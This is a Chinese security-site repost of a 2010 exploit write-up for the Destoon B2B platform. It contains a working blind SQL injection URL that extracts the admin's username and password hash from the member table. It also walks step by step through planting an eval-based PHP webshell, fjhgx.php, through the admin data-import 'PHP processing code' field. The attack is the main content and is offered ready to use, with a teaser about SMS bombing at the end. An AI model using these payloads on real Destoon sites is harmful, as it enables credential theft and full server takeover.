【漏洞】Destoon B2B - 注射与后台代码执行

admin 2021年4月3日18:56:18评论739 views字数 837阅读2分47秒阅读模式

Destoon B2B SQL注射 & 后台代码执行漏洞:

发布日期:2010-11.11

发布作者:fjhgx (俺是农村的)

漏洞类型:SQL注射 && 后台代码执行

文章申明:转载请保留所有权

在公布漏洞之前我严重的鄙视下 Destoon 官方的客服 QQ:537074901。我跟她说了你们的系统出漏洞,后果很严重。一直回我:“非商业用户没有任何技术支持,您有问题可以在论坛发帖”,意思是叫我公开漏洞的意思?

SQL注射:

位于搜索页面,使用了urldecode函数,导致两次编码即可绕过。但是过滤了空格等字符,使用%09继续突破,再次被堵住在长度问题上,有好多个地方都验证了查询的关键词的长度,好的是 wap/ 目录没有验证。

Exp:

http://localhost/destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09ascii(substring((SELECT%09username | password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23

后台获取 Shell:

数据导入 —> 操作下面的“修改” —> 在最下面的“PHP处理代码” PHP代码里自己写代码。

因为前面有一些信息要填写,所以我之前论坛有人问后台怎么拿shell的时候我回答是:

本地 mysql 开启外联。(保证信息正确,这句话我没说 - -!)

代码例如:

$File = "fjhgx.php";
$fh = fopen($File, 'w') or die("不能打开文件,By:俺是农村的。");
$CString = "eval ($_POST[fjhgx]);rnecho "GMail:[email protected]";";
fwrite($fh, $CString);
fclose($fh);

点击保存。

此时PHP代码,写入到

D:wwwdestoonfiledata + 配置名称 + .inc.php

因为写文件的时候让会自动在头部加上:

所以直接访问是无效的。解决方法如下:

然后访问:

http://127.0.0.1/destoon/admin.php?file=data&action=view&name=phpwind7.5_member

(phpwind7.5_member是配置名称)

会自动调用 配置名称 + .inc.php 这个文件,也就生成了小马:fjhgx.php,密码:fjhgx。

Destoon B2B SQL注射 & 后台代码执行,Destoon B2B SQL 注射与后台代码执行,Destoon B2B 后台代码执行漏洞,Destoon B2B SQL 注射漏洞,Destoon B2B 后台代码执行,Destoon B2B SQL 注射,Destoon B2B 代码执行漏洞,Destoon B2B 注射漏洞,Destoon B2B 执行漏洞,Destoon B2B 注射,Destoon SQL注射,Destoon 漏洞。

文章来源于lcx.cc:【漏洞】Destoon B2B - 注射与后台代码执行

相关推荐: 「猜想」之手机截断之短信轰炸,构造超长手机号码绕过同一号码拦截限制!

「猜想」之手机截断之短信轰炸 safe121 (Great Leader Kim Jong-Un General Long Live!!!) | 2014-04-22 09:37 喜欢玩电话的机油们可能会发现, 拨打13748185006和拨打13748185…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞】Destoon B2B - 注射与后台代码执行http://cn-sec.com/archives/319293.html

发表评论

匿名网友 填写信息